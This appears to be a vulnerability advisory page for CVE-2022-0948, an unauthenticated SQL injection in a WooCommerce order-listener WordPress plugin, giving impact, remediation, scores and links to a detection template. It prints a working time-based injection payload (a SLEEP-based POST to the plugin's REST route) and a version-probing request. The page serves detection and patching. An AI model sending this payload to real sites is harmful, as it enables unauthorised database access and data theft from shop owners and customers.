🔙 목록으로 돌아가기

CVE-2022-0948: WordPress Order Listener for WooCommerce <3.2.2 - SQL Injection

TitleWordPress Order Listener for WooCommerce <3.2.2 - SQL Injection
Authortheamanrawat
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
RemediationUpdate the WordPress Order Listener for WooCommerce plugin to version 3.2.2 or later.
CVSS Score9.8
EPSS Score0.6652
CVE IDCVE-2022-0948
CWE IDCWE-89
Tags time-based-sqli cve cve2022 wp unauth sqli woc-order-alert wpscan wordpress wp-plugin pluginbazaar vuln

🔍 Vulnerability Description

WordPress Order Listener for WooCommerce plugin before 3.2.2 contains a SQL injection vulnerability. The plugin does not sanitize and escape the id parameter before using it in a SQL statement via a REST route. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

🌐 HTTP Request

POST /?rest_route=/olistener/new HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/3.6.9
Connection: close
Content-Length: 21
content-type: application/json
Accept-Encoding: gzip

{"id":" (SLEEP(6))#"}
GET /wp-content/plugins/woc-order-alert/assets/admin/js/scripts.js HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.4.24
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0948.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-0948.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A